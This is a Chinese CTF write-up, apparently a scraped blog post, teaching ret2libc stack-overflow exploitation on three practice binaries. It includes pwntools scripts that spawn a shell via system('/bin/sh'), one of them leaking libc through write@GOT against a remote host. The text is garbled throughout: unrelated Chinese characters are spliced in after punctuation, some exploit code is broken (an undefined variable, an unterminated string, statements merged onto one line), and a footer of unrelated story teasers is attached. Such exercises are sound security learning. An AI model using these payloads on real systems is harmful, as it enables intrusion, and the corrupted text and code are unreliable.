學(xué)習(xí)ret2libc手法記錄

ret2libc原理(動(dòng)態(tài)編譯)

ret2libc 即控制函數(shù)的執(zhí)行 libc 中的函數(shù)狰闪,通常是返回至某個(gè)函數(shù)的 plt 處或者函數(shù)的具體位置(即函數(shù)對(duì)應(yīng)的 got表項(xiàng)的內(nèi)容)。一般情況下物舒,我們會(huì)選擇執(zhí)行 system("/bin/sh")犬耻,故而此時(shí)我們需要知道 system 函數(shù)的地址煎谍。


ret2libc1

老規(guī)矩拿道題的第一步檢查保護(hù)機(jī)制和多少位程序:(checksec ret2libc)


NX保護(hù)/32位程序

用IDA打開(kāi)找到main函數(shù)F5查看偽代碼


看到了gets函數(shù)可能存在棧溢出漏洞

發(fā)現(xiàn)了system的地址


system地址0x8048460

shift+f12看看有沒(méi)有/bin/sh



/bin/sh地址0x8048720

思路大概就有了坊萝,通過(guò)溢出苛预,跳轉(zhuǎn)到到system函數(shù)執(zhí)行”/bin/sh”拿shell句狼。這里我們需要注意函數(shù)調(diào)用棧的結(jié)構(gòu),如果是正常調(diào)用 system 函數(shù)热某,我們調(diào)用的時(shí)候會(huì)有一個(gè)對(duì)應(yīng)的返回地址腻菇,這里以填入任意字節(jié)比如'aaaa' 作為虛假的地址,其后參數(shù)對(duì)應(yīng)的參數(shù)內(nèi)容昔馋。

最后計(jì)算一下偏移量(112)


偏移量為112

exp如下

from pwn import*

?p = process("./ret2libc1")

#r = remote('ip',port)

bin_sh = 0x8048720

sys_addr = 0x8048460

payload = 'a'*112 + p32(sys_addr) + p32(0x1) + p32(bin_sh)

p.sendline(payload)

p.interactive()

ret2libc2

ret2libc2和ret2libc1的區(qū)別在于沒(méi)有了 "/bin/sh" 字符串筹吐,需要通過(guò) gets 函數(shù)寫(xiě)到一個(gè)可讀可寫(xiě)的地方,通常會(huì)找 bss 段秘遏,然后去執(zhí)行 /bin/sh


查看保護(hù)機(jī)制和多少位程序(checksec ret2libc2)


NX/32位

NX保護(hù)32位扔進(jìn)IDA

sys_addr=0x8048490/get_addr=0x8048460

可能存在棧溢出也有system地址 shift+F12看一眼有沒(méi)有/bin/sh


沒(méi)有/bin/sh字串丘薛,所以需要我們自己需要通過(guò)gets把它寫(xiě)入.bss段,然后作為參數(shù)給system

找一下bass段的地址\downarrow

readelf -S ret2libc2 | grep bss

bss_addr=0x804A040

再用vmmap檢測(cè)一下bass段權(quán)限

gdb -q ret2libc2

start

vmmap

具有可讀可寫(xiě)可執(zhí)行權(quán)限

通過(guò)查找邦危,可以找到的數(shù)據(jù)如下:

sys_addr=0x8048490

bss_addr=0x804A040

get_addr=0x8048460

在計(jì)算偏移量為(112)

exp1如下

from pwn import*

p = process("./ret2libc2")

#r = remote('ip',port)

sys_addr=0x8048490

get_addr=0x8048460

bss_addr=0x804A040

payload = 'a'*112 + p32 (get_addr) + p32(sys_addr) +p32(bss_addr) + p32(bss_addr)

p.sendline(payload)

p.sendline('/bin/sh')

p.interactive()


exp1棧結(jié)構(gòu)

exp2如下

from pwn import*

p = process("./ret2libc2")

sys_addr=0x8048490

get_addr=0x8048460

bss_addr=0x804A040

pop_ret = 0x0804843d

payload = ''

payload += 'a'*112

payload += p32(gets_addr)

payload += p32(pop_ret)

payload += p32(bss_addr)

payload += p32(sys_addr)

payload += 'a'*4

payload += p32(bss_addr)

p.sendline(payload)

p.sendline('/bin/sh\')

p.interactive()

#尋找pop_ret:ROPgadget –binary ret2libc2 –only ‘pop|ret’| grep ‘ebx’


exp2棧布局

ret2libc3手法

動(dòng)態(tài)編譯的程序中真實(shí)地址=偏移地址+基地址洋侨,不同版本的libc庫(kù)舍扰,其偏移不同,我們我們可以通過(guò)libc庫(kù)版本去尋找每個(gè)函數(shù)的偏移希坚,泄露已知函數(shù)的真實(shí)地址去計(jì)算其基地址边苹,從而構(gòu)造出system的函數(shù)的真實(shí)地址。


ret2libc3和ret2libc2和ret2libc1的區(qū)別在于沒(méi)有 system 也沒(méi)有 /bin/sh裁僧,需要使用 libc 中的 system 和 /bin/sh个束,知道了libc中的一個(gè)函數(shù)的地址就可以確定該程序利用的 libc,從而知道其他函數(shù)的地址聊疲。獲得 libc 的某個(gè)函數(shù)的地址通常采用的方法是:通過(guò) got 表泄露播急,但是由于libc的延遲綁定,需要泄露的是已經(jīng)執(zhí)行過(guò)的函數(shù)的地址

拿到題先查看一下保護(hù)機(jī)制


NX/32位

扔進(jìn)ida觀察

沒(méi)有看到system


可能存在棧溢出

shift+f12看一眼有沒(méi)有/bin/sh字符串


并沒(méi)有/bin/sh

既然存在棧溢出就確定偏移量


偏移量為140

思路如下

\bullet 通過(guò)第一次溢出售睹,通過(guò)將 puts 的 PLT 地址放到返回處桩警,泄漏出執(zhí)行過(guò)的函數(shù)的 GOT 地址(實(shí)際上 write 的就可以)

\bullet 將 write 的返回地址設(shè)置為 _start 函數(shù)(main () 函數(shù)是用戶代碼的入口,是對(duì)用戶而言的昌妹;而_start () 函數(shù)是系統(tǒng)代碼的入口捶枢,是程序真正的入口),方便再次用來(lái)執(zhí)行 system('/bin/sh')

\bullet 通過(guò)泄露的函數(shù)的 GOT 地址計(jì)算出 libc 中的 system 和 /bin/sh 的地址

\bullet 再次通過(guò)溢出將返回地址覆蓋成泄露出來(lái)的 system 的地址 getshell

exp如下

from pwn import *

from LibcSearcher import *

?#導(dǎo)入LibcSearch模塊

r = remote('111.198.29.45',51596)

elf = ELF('./level3')

write_plt = elf.plt['write']

#要利用的函數(shù)

write_got = elf.got['write']

#要泄露的函數(shù)的GOT地址飞崖,里面的內(nèi)容即真實(shí)地址

main_addr = elf.symbols['main']

#返回地址為main烂叔,使其還可溢出

payload = 'a'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)r.recv()r.sendline(payload)write_addr = u32(r.recv()[:4])

#發(fā)送payload后會(huì)接收到write的真實(shí)地址

libc = LibcSearcher('write',write_addr)

#利用LibcSearcher尋找libc版本

base = write_addr - libc.dump('write')

#.dump為偏移地址

sys_addr = base + libc.dump('system')

sh_addr = base +libc.dump('str_bin_sh')

payload2 = 'a'*140 +p32(sys_addr)+'b'*4+p32(sh_addr)

r.recv()

r.sendline(payload2)

r.interactive()


知識(shí)補(bǔ)充:

動(dòng)態(tài)編譯與靜態(tài)編譯

1、動(dòng)態(tài)編譯的可執(zhí)行文件需要附帶一個(gè)的動(dòng)態(tài)鏈接庫(kù)(libc庫(kù))固歪,在執(zhí)行時(shí)蒜鸡,需要調(diào)用其對(duì)應(yīng)動(dòng)態(tài)鏈接庫(kù)中的命令。所以其優(yōu)點(diǎn)一方面是縮小了執(zhí)行文件本身的體積牢裳,另一方面是加快了編譯速度逢防,節(jié)省了系統(tǒng)資源。缺點(diǎn)一是哪怕是很簡(jiǎn)單的程序蒲讯,只用到了鏈接庫(kù)中的一兩條命令忘朝,也需要附帶一個(gè)相對(duì)龐大的鏈接庫(kù);二是如果其他計(jì)算機(jī)上沒(méi)有安裝對(duì)應(yīng)的運(yùn)行庫(kù)判帮,則用動(dòng)態(tài)編譯的可執(zhí)行文件就不能運(yùn)行局嘁。

2、靜態(tài)編譯就是編譯器在編譯可執(zhí)行文件的時(shí)候晦墙,將可執(zhí)行文件需要調(diào)用的對(duì)應(yīng)動(dòng)態(tài)鏈接庫(kù)(.so)中的部分提取出來(lái)悦昵,鏈接到可執(zhí)行文件中去,使可執(zhí)行文件在運(yùn)行的時(shí)候不依賴于動(dòng)態(tài)鏈接庫(kù)晌畅。所以其優(yōu)缺點(diǎn)與動(dòng)態(tài)編譯的可執(zhí)行文件正好互補(bǔ)但指。

GOT表和PLT表

在目前的 C 程序中,libc中的函數(shù)都是通過(guò) GOT 表來(lái)跳轉(zhuǎn)的。通過(guò)PLT表作為中間表鏈接call命令和got表枚赡,而got表中的內(nèi)容是函數(shù)的真實(shí)地址氓癌。在一些pwn題中,要泄漏出的函數(shù)地址應(yīng)該是got表中的內(nèi)容贫橙,為了泄漏這些真正的地址贪婉,往往會(huì)用到read,write卢肃,put等函數(shù)疲迂,通過(guò)已知同時(shí)存在于got和libc的函數(shù)地址,可以得出偏移量莫湘,接著就能通過(guò)偏移量找到system函數(shù)的真正地址尤蒿,從而進(jìn)行ret2libc操作.

摘自某大佬博客



推薦其他的師傅wp:

ATFWUS

YeeZi_

西杭

ret2libc3

此篇文章如果存在問(wèn)題,還望大佬批評(píng)指正

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末幅垮,一起剝皮案震驚了整個(gè)濱河市腰池,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌忙芒,老刑警劉巖示弓,帶你破解...
    沈念sama閱讀 212,718評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異呵萨,居然都是意外死亡奏属,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,683評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門(mén)潮峦,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)囱皿,“玉大人,你說(shuō)我怎么就攤上這事忱嘹≈鲂龋” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 158,207評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵德谅,是天一觀的道長(zhǎng)爹橱。 經(jīng)常有香客問(wèn)我,道長(zhǎng)窄做,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,755評(píng)論 1 284
  • 正文 為了忘掉前任慰技,我火速辦了婚禮椭盏,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘吻商。我一直安慰自己掏颊,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,862評(píng)論 6 386
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著乌叶,像睡著了一般盆偿。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上准浴,一...
    開(kāi)封第一講書(shū)人閱讀 50,050評(píng)論 1 291
  • 那天事扭,我揣著相機(jī)與錄音,去河邊找鬼乐横。 笑死求橄,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的葡公。 我是一名探鬼主播罐农,決...
    沈念sama閱讀 39,136評(píng)論 3 410
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼催什!你這毒婦竟也來(lái)了涵亏?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 37,882評(píng)論 0 268
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤蒲凶,失蹤者是張志新(化名)和其女友劉穎气筋,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體豹爹,經(jīng)...
    沈念sama閱讀 44,330評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡裆悄,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,651評(píng)論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了臂聋。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片光稼。...
    茶點(diǎn)故事閱讀 38,789評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖孩等,靈堂內(nèi)的尸體忽然破棺而出艾君,到底是詐尸還是另有隱情,我是刑警寧澤肄方,帶...
    沈念sama閱讀 34,477評(píng)論 4 333
  • 正文 年R本政府宣布冰垄,位于F島的核電站,受9級(jí)特大地震影響权她,放射性物質(zhì)發(fā)生泄漏虹茶。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 40,135評(píng)論 3 317
  • 文/蒙蒙 一隅要、第九天 我趴在偏房一處隱蔽的房頂上張望蝴罪。 院中可真熱鬧,春花似錦步清、人聲如沸要门。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,864評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)欢搜。三九已至封豪,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間炒瘟,已是汗流浹背吹埠。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,099評(píng)論 1 267
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留唧领,地道東北人藻雌。 一個(gè)月前我還...
    沈念sama閱讀 46,598評(píng)論 2 362
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像斩个,于是被迫代替她去往敵國(guó)和親胯杭。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,697評(píng)論 2 351